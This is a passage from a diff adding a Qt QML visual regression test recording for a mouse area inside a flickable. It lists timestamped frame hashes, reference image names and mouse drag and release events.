+ }
+ Frame {
+ msec: 7680
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7696
+ image: "mousearea-flickable.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7728
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7744
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7760
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7776
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7792
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7808
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7824
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7840
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7856
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7872
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7888
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7904
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7920
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7936
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7952
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7968
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7984
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8000
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8016
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8032
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8048
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8064
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8080
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8096
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8112
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8128
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8144
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8160
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8176
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 8192
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 188; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8208
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 188; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8224
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 189; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 189; y: 186
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8240
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 194
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8256
+ hash: "a569789b082296415321ba11c859abe5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 196
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 198
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8272
+ hash: "7a5f69a1eecb5de0fc2295cd287eb449"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8288
+ hash: "11120d6de575ffa639b6abb3af4afef7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8304
+ hash: "c29ab366ba3f11de6452949c11310b4a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 219
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8320
+ hash: "4e129ebba85d1f3717d09f71eb5a1a7d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8336
+ hash: "837deeb2a92648d830acf29e829ebb53"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 231
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 234
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8352
+ hash: "79650397b868019909b931a32a115823"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8368
+ hash: "c37507a29e3a6d80446ad68f2d92f266"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 245
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8384
+ hash: "01bf03313a0229e810a24e2adbbe9775"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 248
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 251
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8400
+ hash: "8ffbbed46737837e55383833b96d2624"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 257
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8416
+ hash: "6d49fc41fb6d74643c7613df7e417833"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 259
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 262
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8432
+ hash: "806d22bc3533c729cd10dc889c36902d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 265
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 267
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8448
+ hash: "cc6619c7cd6e4e274df4729aad6cca46"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 270
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 272
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8464
+ hash: "929bf28dcb97e8c93dae5dbe23beecc8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 275
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 278
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8480
+ hash: "0121c18897c37481fddbac57db636a60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 283
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8496
+ hash: "091d1ad7aba4b662cba98214c98a4707"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 285
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 288
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8512
+ hash: "ce673b66f695f5b002515a5416bbf913"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 290
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 293
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8528
+ hash: "66f71641c7a607152f140428ab9621d6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 298
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8544
+ hash: "29ca97cc573d3a1fde65320b61678c60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 299
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 305
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8560
+ hash: "021bda841eaefa76ce5e1c97150af6f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 306
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 308
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8576
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 310
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 312
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8592
+ hash: "80edf52cc9e64a29f677bc2203220ba9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8608
+ hash: "390105f21526e1f8fda15666631578a1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 318
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 320
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8624
+ hash: "ee40862a59f14667c89fa62f380c10fb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 322
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 324
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8640
+ hash: "524db6ce45674c777d72f9206415be2f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 328
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8656
+ image: "mousearea-flickable.9.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 330
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 332
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8672
+ hash: "3ca9742356b6ff833fd287a95520174a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 335
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 338
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8688
+ hash: "d1372239a681d1fccc25257b4a02fb39"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 341
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 347
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8704
+ hash: "c5980322acf00a04efbd5e1b92aa0e98"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 350
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 356
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8720
+ hash: "9f876eb93a16c24843dd6a5acd303ab3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 358
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 360
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8736
+ hash: "6206ad3e633b6b1b068304caa4efe48a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 201; y: 364
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8752
+ hash: "d9e953d132330f8a58a190d61aec6ec3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 201; y: 366
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8768
+ hash: "c1570ad4cb688ea51818e0a09e349daa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 202; y: 368
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8784
+ hash: "11853dcbad9d1d9a8b7d8a4e6fcca140"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 202; y: 369
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8800
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8816
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8832
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8848
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8864
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8880
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8896
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8912
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8928
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8944
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8960
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 8976
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 202; y: 369
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8992
+ hash: "c6a81be579382f25ac583734897c2570"
+ }
+ Frame {
+ msec: 9008
+ hash: "11853dcbad9d1d9a8b7d8a4e6fcca140"
+ }
+ Frame {
+ msec: 9024
+ hash: "c1570ad4cb688ea51818e0a09e349daa"
+ }
+ Frame {
+ msec: 9040
+ hash: "6206ad3e633b6b1b068304caa4efe48a"
+ }
+ Frame {
+ msec: 9056
+ hash: "2dc2def0c748ac94d33d90d4a3610136"
+ }
+ Frame {
+ msec: 9072
+ hash: "2010f6f0c34e59f505bbe1aab262b646"
+ }
+ Frame {
+ msec: 9088
+ hash: "3ca9742356b6ff833fd287a95520174a"
+ }
+ Frame {
+ msec: 9104
+ hash: "c09f4002ed9d41f62bb1aaff95723cce"
+ }
+ Frame {
+ msec: 9120
+ hash: "95b57cd3dac3bce56674f2c4143f42d4"
+ }
+ Frame {
+ msec: 9136
+ hash: "52d45e8dde81fef5ee93bbd5a40d4851"
+ }
+ Frame {
+ msec: 9152
+ hash: "1978cda418856b542d7c5a155b74f09c"
+ }
+ Frame {
+ msec: 9168
+ hash: "7d03030f5a672d87aeabefdf4f3a39a4"
+ }
+ Frame {
+ msec: 9184
+ hash: "79650397b868019909b931a32a115823"
+ }
+ Frame {
+ msec: 9200
+ hash: "82f54d7e254edcf499ea12a63118e8a7"
+ }
+ Frame {
+ msec: 9216
+ hash: "8517007d5102af238935e93a3b38087f"
+ }
+ Frame {
+ msec: 9232
+ hash: "ab4c936a81299adf080f3b14f7e6be49"
+ }
+ Frame {
+ msec: 9248
+ hash: "11120d6de575ffa639b6abb3af4afef7"
+ }
+ Frame {
+ msec: 9264
+ hash: "70e522f64236dfa4e1613ffc29b4b23e"
+ }
+ Frame {
+ msec: 9280
+ hash: "86b32befe0dada5bdce82a7dd14777ce"
+ }
+ Frame {
+ msec: 9296
+ hash: "a569789b082296415321ba11c859abe5"
+ }
+ Frame {
+ msec: 9312
+ hash: "9f9f85d5f879b0e52ebc751d6668cfb8"
+ }
+ Frame {
+ msec: 9328
+ hash: "9f9f85d5f879b0e52ebc751d6668cfb8"
+ }
+ Frame {
+ msec: 9344
+ hash: "43fc85bb3b1501f5e12f1fedaaa14c64"
+ }
+ Frame {
+ msec: 9360
+ hash: "43fc85bb3b1501f5e12f1fedaaa14c64"
+ }
+ Frame {
+ msec: 9376
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 9392
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 9408
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 9424
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 9440
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9456
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9472
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9488
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9504
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9520
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9536
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9552
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9568
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9584
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9600
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9616
+ image: "mousearea-flickable.10.png"
+ }
+ Frame {
+ msec: 9632
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9648
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9664
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9680
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9696
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9712
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9728
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 9744
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 205; y: 307
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9760
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9776
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9792
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9808
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9824
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9840
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9856
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9872
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9888
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9904
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9920
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9936
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9952
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9968
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 9984
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10000
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10016
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10032
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10048
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10064
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10080
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10096
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10112
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10128
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10144
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10160
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10176
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10192
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10208
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10224
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10240
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10256
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10272
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10288
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10304
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10320
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10336
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10352
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10368
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10384
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10400
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10416
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10432
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10448
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10464
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10480
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10496
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10512
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10528
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10544
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10560
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10576
+ image: "mousearea-flickable.11.png"
+ }
+ Frame {
+ msec: 10592
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10608
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10624
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10640
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10656
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10672
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10688
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10704
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10720
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10736
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10752
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10768
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10784
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10800
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10816
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10832
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10848
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10864
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10880
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10896
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10912
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10928
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10944
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10960
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10976
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 10992
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11008
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11024
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11040
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11056
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11072
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11088
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 308
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11104
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11120
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11136
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 309
+ modifiers: 0
+ sendToViewport: true
+ }
